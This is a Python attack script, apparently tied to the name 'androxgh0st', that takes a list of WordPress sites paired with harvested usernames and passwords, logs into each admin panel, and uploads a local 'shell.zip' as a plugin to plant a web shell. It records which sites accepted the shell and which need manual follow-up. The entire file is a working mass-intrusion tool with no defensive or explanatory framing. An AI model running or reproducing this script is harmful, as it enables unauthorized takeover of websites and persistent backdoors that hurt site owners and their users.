wpapalah

# -*- coding: utf-8 -*-

''' androxgh0st - ga tau mau ngapain '''

import requests, re, urllib
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def main(url):
    try:
        print('\033[32;1m# \033[0m'+url)
        plugins_name = 'shell.zip'
        s = requests.Session()
        urllogin = url.split('#')[0]
        k = url.split("#")[1]
        username = k.split("@")[0]
        delete = k.split("@")[0]+"@"
        password = k.replace(delete, '')
        headers = {'user-agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0','Accept-Encoding' : 'none'}
        payload = {'log': username,'pwd': password,'rememberme': 'forever','wp-submit': 'log In','redirect_to': urllogin + '/wp-admin/','testcookie': 1}
        r = s.post(urllogin + '/wp-login.php', headers=headers, data=payload, allow_redirects=False, verify=False)
        respon = s.get(urllogin+'/wp-admin/plugin-install.php?tab=upload', headers=headers)
        if 'If you have a plugin in a .zip format, you may install it by uploading it here.' in respon.text:
            print('Maybe it admin! try upload shell')
            save_admin = open('wpadmin.txt','a')
            save_admin.write(url+'\n')
            save_admin.close()
            try:
                look_for = 'name="_wpnonce" value="'
                nonceText = respon.text.split(look_for, 1)[1]
                nonce = nonceText[0:10]
                print('nonce: '+nonce)
                # upload
                # files = {'pluginzip': open(plugins_name, 'rb'),'_wpnonce': nonce,'_wp_http_referer': urllogin + '/wp-admin/plugin-install.php?tab=upload','install-plugin-submit': 'Install Now'}
                files = {'pluginzip': (open(plugins_name, 'rb')),'_wpnonce': (None, nonce),'_wp_http_referer': (None, urllogin + '/wp-admin/plugin-install.php?tab=upload'),'install-plugin-submit': (None,'Install Now')}
                try:
                    r4 = s.post(urllogin + "/wp-admin/update.php?action=upload-plugin", headers=headers, files=files, verify=False)
                    if 'Plugin installed successfully' in r4.text:
                        fpath = re.findall('href="plugins.php?action=activate&plugin=(.*?)%2F(.*?)&_wpnonce="', r4.text)[0][0]
                        print('Uploaded at /wp-content/plugins/'+fpath+'/')
                        withsite = urllogin + '/wp-content/plugins/'+fpath+'/'
                        save = open('wp_results.txt','a')
                        save.write(withsite+'\n')
                        save.close()
                    if 'Destination folder already exists' in r4.text:
                        fpath = re.findall('Destination folder already exists. (.*?)/wp-content/plugins/(.*?)/', r4.text)[0][1]
                        print('Uploaded at /wp-content/plugins/'+fpath+'/')
                        withsite = urllogin + '/wp-content/plugins/'+fpath+'/'
                        save = open('wp_results.txt','a')
                        save.write(withsite+'\n')
                        save.close()
                    else:
                        print('Can\'t Upload plugins')
                        save = open('try_manual.txt','a')
                        save.write(url+'\n')
                        save.close()
                except Exception as err:
                    print('Can\'t Upload plugins')
                    save = open('try_manual.txt','a')
                    save.write(url+'\n')
                    save.close()
            except Exception as error:
                    print('Can\'t get nonce value')
                    save = open('try_manual.txt','a')
                    save.write(url+'\n')
                    save.close()
        else:
            print('Can\'t access plugins installer or not logged in !!!')
            save = open('try_manual.txt','a')
            save.write(url+'\n')
            save.close()
    except:
        print('Can\'t access site !!!')
        save = open('exceptions_url.txt','a')
        save.write(url+'\n')
        save.close()

f = open('results.txt').read()
for target in f.splitlines():
    main(target)